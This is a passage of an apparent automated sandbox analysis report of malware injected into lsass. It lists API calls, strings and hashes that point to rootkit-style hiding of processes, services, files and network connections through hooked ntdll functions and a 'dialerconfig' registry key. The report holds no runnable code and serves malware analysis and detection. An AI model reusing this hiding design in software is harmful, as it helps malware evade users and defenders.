Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA

Sleep.KERNEL32 ref: 00000202C0AE1AD7
SleepEx.KERNELBASE ref: 00000202C0AE1ADD

Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 1519724245a59a03f973eddcebe70884a6cccd966baeab2eab41fd8751cf1259
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: ED31C071200BE1C1FF509B26DACD3AD53A5AB84FC4F0654239FA987697FE14C879C210

Function 00000202C0AB273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AB285E

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e9c472418be9705004432d1361e805bb540b7ad58247b10c253449de9ed0d722
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 8161DF72B01790C7EB648F15908C76DB3A2FB54BA4F598127DF5D0778ADA38D86AC700

Function 00000202C0AED6CC Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 00000202C0AED721

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction ID: f1c622e14429a0b520057bbb946f3f429c66e82a7f768f9b6ab0a37ff79ad3e0
Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction Fuzzy Hash: E4F0E998311780C1FE546B6699CD39D22845F88BC0F0E5437CF9A867D3EE1CC4AC8620

Non-executed Functions

Function 00000202C0AE2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000202C0AE2BD0
lstrlenW.KERNEL32 ref: 00000202C0AE2E0A

Part of subcall function 00000202C0AE199C: OpenProcess.KERNEL32 ref: 00000202C0AE19C2
Part of subcall function 00000202C0AE199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE19E0
Part of subcall function 00000202C0AE199C: PathFindFileNameW.SHLWAPI ref: 00000202C0AE19EF
Part of subcall function 00000202C0AE199C: lstrlenW.KERNEL32 ref: 00000202C0AE19FB
Part of subcall function 00000202C0AE199C: StrCpyW.SHLWAPI ref: 00000202C0AE1A0E
Part of subcall function 00000202C0AE199C: CloseHandle.KERNEL32 ref: 00000202C0AE1A1C

GetProcAddress.KERNEL32 ref: 00000202C0AE2BE5

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

Part of subcall function 00000202C0AE3844: StrCmpNIW.SHLWAPI ref: 00000202C0AE385C

StrCmpNIW.SHLWAPI ref: 00000202C0AE2C28
lstrlenW.KERNEL32 ref: 00000202C0AE2D50

Strings

\Device\Nsi, xrefs: 00000202C0AE2C1B
NtQueryObject, xrefs: 00000202C0AE2BDB
ntdll.dll, xrefs: 00000202C0AE2BC9

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 629c2a77cc7c689ebc2a82fae016c29b45818ce3604cad8590d8ad8b42d26791
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 8BB18B62210BA0C6FB688F25C8CC7AD67A5F744B88F565017EF9953796EB35CC68C340

Function 00000202C0AE7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000202C0AE7DAC
RtlCaptureContext.NTDLL ref: 00000202C0AE7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AE7DF3
RtlVirtualUnwind.NTDLL ref: 00000202C0AE7E34
IsDebuggerPresent.KERNEL32 ref: 00000202C0AE7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE7EB4

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 43f65ee015122b04127526cc5c334c21e5a52d8fe7862f76cef395083f707644
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 74311972205B80CAFB609F60E8887ED6364F784744F45442BDB8E57A9AEF39C658C710

Function 00000202C0AED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000202C0AED31D
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AED335
RtlVirtualUnwind.NTDLL ref: 00000202C0AED370
IsDebuggerPresent.KERNEL32 ref: 00000202C0AED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AED3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AED3BE

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3629953f5db9c1b5f8070e01c3cc1c8c2a667b2e639c3edd282c0df2f16cc2f9
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: FF314F36214B80C6EB60CF25E88879E73A4F789758F550127EB9D47BA6EF38C559CB00

Function 00000202C0AE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
HeapAlloc.KERNEL32 ref: 00000202C0AE1642

Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE127D
Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA
RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Part of subcall function 00000202C0AE12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE1338
Part of subcall function 00000202C0AE12BC: RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
Part of subcall function 00000202C0AE12BC: HeapFree.KERNEL32 ref: 00000202C0AE1418
Part of subcall function 00000202C0AE12BC: lstrlenW.KERNEL32 ref: 00000202C0AE1421
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE143D

Strings

tcp_local, xrefs: 00000202C0AE17FE
startup, xrefs: 00000202C0AE16D5
pid, xrefs: 00000202C0AE1712
service_names, xrefs: 00000202C0AE17C3
SOFTWARE\dialerconfig, xrefs: 00000202C0AE1692
paths, xrefs: 00000202C0AE1788
process_names, xrefs: 00000202C0AE174D
udp, xrefs: 00000202C0AE1874
tcp_remote, xrefs: 00000202C0AE1839

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 1d03e476145ce09beb9e97f2b7c5aab0935724522098279c66d9844aa9511552
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: F2710636210B50C6FB109F25E8DCA9D23A9FB84F88F425123DB9E47B6ADE39C458C744

Function 00000202C0AE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
HeapAlloc.KERNEL32 ref: 00000202C0AE1338
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
HeapFree.KERNEL32 ref: 00000202C0AE1418
lstrlenW.KERNEL32 ref: 00000202C0AE1421
GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
HeapAlloc.KERNEL32 ref: 00000202C0AE143D
StrCpyW.SHLWAPI ref: 00000202C0AE145F
GetProcessHeap.KERNEL32 ref: 00000202C0AE1476
HeapFree.KERNEL32 ref: 00000202C0AE1484

Strings

d, xrefs: 00000202C0AE135A

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: a5c0dd0dd48098ab404cbb16107d584fe92d72ef17c22032ec6d5acc94b81fb7
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 2C513876200B84C6EB50CF62E48C35EB7A5F788F89F458126DB890776ADF39C059CB00

Function 00000202C0AE1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE1D1F

Part of subcall function 00000202C0AE1FD4: GetModuleHandleA.KERNEL32 ref: 00000202C0AE1FEC
Part of subcall function 00000202C0AE1FD4: GetProcAddress.KERNEL32 ref: 00000202C0AE1FFD

Part of subcall function 00000202C0AE5B30: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5B6B

Strings

advapi32.dll, xrefs: 00000202C0AE1DF7, 00000202C0AE1E18
NtQueryDirectoryFileEx, xrefs: 00000202C0AE1D9C
NtDeviceIoControlFile, xrefs: 00000202C0AE1E56
NtQuerySystemInformation, xrefs: 00000202C0AE1D45
NtEnumerateValueKey, xrefs: 00000202C0AE1DD6
sechost.dll, xrefs: 00000202C0AE1E39
NtResumeThread, xrefs: 00000202C0AE1D62
NtEnumerateKey, xrefs: 00000202C0AE1DB9
NtQueryDirectoryFile, xrefs: 00000202C0AE1D7F
EnumServicesStatusExW, xrefs: 00000202C0AE1E11, 00000202C0AE1E32
EnumServiceGroupW, xrefs: 00000202C0AE1DF0
ntdll.dll, xrefs: 00000202C0AE1D2D

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 90a0736ddaf8fe37476ff4478ca91d660d6ffa8bbfea73cfc67e31501e438409
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 5031A2A5100B8AE0FE15EF69E8DD7DC2321F704748F835423D7A9021679F79866ED391

Function 00000202C0AB6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AB6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AB698A
_RTC_Initialize.LIBCMT ref: 00000202C0AB69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AB69DE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AB6A09

Strings

`eh vector copy constructor iterator', xrefs: 00000202C0AB6A3B
scriptor', xrefs: 00000202C0AB6B39, 00000202C0AB6BB2, 00000202C0AB6BEC
`eh vector vbase copy constructor iterator', xrefs: 00000202C0AB69EE
`dynamic initializer for ', xrefs: 00000202C0AB69C7

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 14de66892ba18830acab2e245ab1e6cb8a15d62160b2822f01b591de40b948de
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 1381EE31600701CAFB50AB66A4CD39D66E8EB85780F57842BAB48977B7DF3DC88D8700

Function 00000202C0AECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000202C0AECE37
FlsGetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE4C
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE6D
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE9A
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECEAB
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECEBC
SetLastError.KERNEL32 ref: 00000202C0AECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF0D
FlsSetValue.KERNEL32(?,?,00000001,00000202C0AEECCC,?,?,?,?,00000202C0AEBF9F,?,?,?,?,?,00000202C0AE7AB0), ref: 00000202C0AECF2C

Part of subcall function 00000202C0AED6CC: HeapAlloc.KERNEL32 ref: 00000202C0AED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF54

Part of subcall function 00000202C0AED744: HeapFree.KERNEL32 ref: 00000202C0AED75A
Part of subcall function 00000202C0AED744: GetLastError.KERNEL32 ref: 00000202C0AED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF76

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 4882f9c6545ddba956175daa0b1033055c58a1b9921f799def37e079ec50fdf9
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 754197603013C4D6FE68A73555DD36D2242AB44BB4F174B27ABBB077E7EE38886A4600

Function 00000202C0AE2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000202C0AE2259
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE2263

Part of subcall function 00000202C0AE1934: OpenProcess.KERNEL32 ref: 00000202C0AE1952
Part of subcall function 00000202C0AE1934: IsWow64Process.KERNEL32 ref: 00000202C0AE1968
Part of subcall function 00000202C0AE1934: CloseHandle.KERNEL32 ref: 00000202C0AE1983

CreateFileW.KERNEL32 ref: 00000202C0AE22BC
WriteFile.KERNEL32 ref: 00000202C0AE22E4
ReadFile.KERNEL32 ref: 00000202C0AE2303
CloseHandle.KERNEL32 ref: 00000202C0AE230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000202C0AE228C
\\.\pipe\dialerchildproc32, xrefs: 00000202C0AE2293

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: a0d3f3940cedbe8f49a02ff4fcf1ce97ef5dd93de91068aee362f87148ae0ba9
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 31213832614B40C2FB208B25E48C75E67A5F789BA4F514217EB9A03BA9CF3DC54DCB00

Function 00000202C0AEA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AEA5A1

Part of subcall function 00000202C0AEB414: __GetUnwindTryBlock.LIBCMT ref: 00000202C0AEB457
Part of subcall function 00000202C0AEB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0AEB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AEA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AEA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AEA9DA

Strings

csm, xrefs: 00000202C0AEA69C
csm, xrefs: 00000202C0AEA622
csm, xrefs: 00000202C0AEA5BB

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: dc69ca82dc18b6d9c62c9d97f6a4348578a3add946f7b447ab90ca90604d3949
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 12E16A72600B80CAFB60DB65948C39D77A4F7A6B98F120117EFA957B97CB34D4A9C700

Function 00000202C0AB9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AB99A1

Part of subcall function 00000202C0ABA814: __GetUnwindTryBlock.LIBCMT ref: 00000202C0ABA857
Part of subcall function 00000202C0ABA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0ABA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AB9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AB9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AB9DDA

Strings

csm, xrefs: 00000202C0AB99BB
csm, xrefs: 00000202C0AB9A9C
csm, xrefs: 00000202C0AB9A22

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 181cfaa8d1e203509729981359315e3b225e44fdda2c096569e0a7ba0a0bf46d
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: E5E17A72604B80CAFB60DB69D48839D7BA4F755B98F12011BEF8957B9ACB34C499C704

Function 00000202C0AEF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000202C0AEF510
GetProcAddress.KERNEL32 ref: 00000202C0AEF51C

Strings

ext-ms-, xrefs: 00000202C0AEF46D
api-ms-, xrefs: 00000202C0AEF45A

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 26dcd2d441800ec49dab0db58e17c16847a3beddbc1f683c45a4dffa8db80317
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2A41F422311B90D1FA16CB56A88C75E2395F748BA0F0A45279F6E877D6EE3DC45D8300

Function 00000202C0AE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE10B1
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1117
GetProcessHeap.KERNEL32 ref: 00000202C0AE115A
HeapAlloc.KERNEL32 ref: 00000202C0AE1168
GetProcessHeap.KERNEL32 ref: 00000202C0AE1185
HeapFree.KERNEL32 ref: 00000202C0AE1193

Strings

d, xrefs: 00000202C0AE10D6

Memory Dump Source

